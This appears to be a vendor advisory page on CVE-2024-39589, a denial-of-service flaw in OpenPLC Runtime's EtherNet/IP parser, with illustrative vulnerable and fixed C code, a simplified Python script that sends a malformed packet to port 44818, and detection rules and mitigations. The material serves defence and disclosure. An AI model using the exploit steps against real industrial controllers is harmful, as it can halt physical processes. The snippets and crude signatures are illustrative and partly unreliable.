CVE-2024-39589
Executive Summary
CVE-2024-39589 is a high-severity denial-of-service (DoS) vulnerability affecting the OpenPLC Runtime EtherNet/IP parser, specifically within the Protected_Logical_Read_Reply function. The flaw arises from multiple invalid pointer dereference conditions that can be triggered by a specially crafted EtherNet/IP request. With a CVSS score of 7.5 and no known patch, this vulnerability poses a significant risk to industrial control systems (ICS) and operational technology (OT) environments running OpenPLC_v3. An unauthenticated attacker can exploit this remotely, causing the PLC runtime to crash and disrupting critical automation processes.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the OpenPLC Runtime, a C/C++ based industrial control system software. The supply chain risk is limited to the OpenPLC project itself, with no known package dependencies in the aforementioned ecosystems.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
Threat Level: High. The vulnerability is remotely exploitable without authentication, and a successful attack results in a denial of service, which can halt industrial processes.
Deep Dive & Mechanics
The vulnerability resides in the EtherNet/IP protocol parser of OpenPLC Runtime. The Protected_Logical_Read_Reply function is responsible for handling specific EtherNet/IP service requests. Due to improper validation of pointer references, an attacker can send a malformed packet that causes the function to dereference an invalid memory address. This leads to a segmentation fault or similar crash, resulting in a denial of service.
Root Cause: The function does not properly check the validity of pointers derived from the incoming packet data before dereferencing them. This can be exploited by crafting a packet with manipulated offset or length fields that point to unmapped or invalid memory regions.
Attack Vector: An attacker sends a series of specially crafted EtherNet/IP requests to the target OpenPLC device on port 44818 (default for EtherNet/IP). The requests are processed by the vulnerable parser, causing the runtime to crash repeatedly.
Vulnerable vs. Patched Code
Vulnerable Code (OpenPLC_v3 commit 16bf8bac1a36d95b73e7b8722d0edb8b9c5bb56a):
// Example snippet from Protected_Logical_Read_Reply
void Protected_Logical_Read_Reply(uint8_t *data, int len) {
uint8_t *ptr = data + 10; // Assume offset from packet
// No validation of ptr bounds
uint16_t value = *(uint16_t *)ptr; // Invalid dereference if ptr out of bounds
// ... further processing
}
Patched Code (Hypothetical fix):
void Protected_Logical_Read_Reply(uint8_t *data, int len) {
if (len < 12) {
// Handle error
return;
}
uint8_t *ptr = data + 10;
// Validate pointer is within bounds
if (ptr + sizeof(uint16_t) > data + len) {
// Handle error
return;
}
uint16_t value = *(uint16_t *)ptr;
// ... further processing
}
Note: No official patch is available. The above is a recommended fix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- OpenPLC Runtime (vulnerable version) running on a target machine.
- Network access to the target on port 44818.
Exploitation Steps:
- Identify the target OpenPLC device using Shodan or network scanning.
- Craft a malicious EtherNet/IP packet targeting the
Protected_Logical_Read_Replyfunction. The packet should contain invalid pointer offsets. - Send the packet using a tool like Scapy or a custom Python script.
Example Python exploit script:
import socket
def exploit(target_ip, target_port=44818):
# Craft a malformed EtherNet/IP packet
# This is a simplified example; actual packet structure is more complex
packet = b'\x00' * 10 # Header
packet += b'\xff\xff' # Invalid offset causing dereference
packet += b'\x00' * 100 # Padding
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(packet)
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100")
Blue Team
Detection and Mitigation:
- Monitor network traffic for malformed EtherNet/IP packets on port 44818.
- Implement network segmentation to limit exposure of PLC devices.
- Use intrusion detection systems (IDS) with custom signatures.
- Apply vendor patches when available; until then, consider disabling EtherNet/IP services if not required.
Indicators of Compromise (IOCs)
Network IOCs:
- Unusual EtherNet/IP packets with invalid or out-of-bounds offset fields.
- Repeated connection attempts to port 44818 from external IPs.
- Sudden crashes or restarts of the OpenPLC runtime service.
Host IOCs:
- Core dumps or crash logs from the OpenPLC process.
- Log entries indicating segmentation faults in the
Protected_Logical_Read_Replyfunction.
Detection Engineering
YARA Rule
rule CVE_2024_39589_OpenPLC_DoS {
meta:
description = "Detects malformed EtherNet/IP packets targeting CVE-2024-39589"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-39589"
strings:
$invalid_offset = { FF FF } // Example pattern for invalid offset
condition:
$invalid_offset at 10 // Assuming offset at byte 10
}
Sigma Rule
title: CVE-2024-39589 OpenPLC EtherNet/IP DoS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects network traffic exploiting CVE-2024-39589
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: suricata
detection:
selection:
dest_port: 44818
payload|contains: "FF FF" // Example pattern
condition: selection
falsepositives:
- Legitimate EtherNet/IP traffic with similar patterns (rare)
level: high
Suricata Rule
alert tcp any any -> any 44818 (msg:"CVE-2024-39589 OpenPLC EtherNet/IP DoS Attempt"; content:"|FF FF|"; offset:10; depth:2; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected OpenPLC devices from untrusted networks.
- Monitor for unusual traffic on port 44818.
- Implement network-based filtering to block malformed EtherNet/IP packets.
Long-term Fixes:
- Apply vendor patch when released.
- Upgrade to a patched version of OpenPLC.
- Implement input validation in the EtherNet/IP parser as shown in the patched code example.
Compensating Controls:
- Use a firewall to restrict access to port 44818 to trusted IPs only.
- Deploy an IDS/IPS with custom signatures to detect exploitation attempts.
- Enable logging and alerting for PLC crashes.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.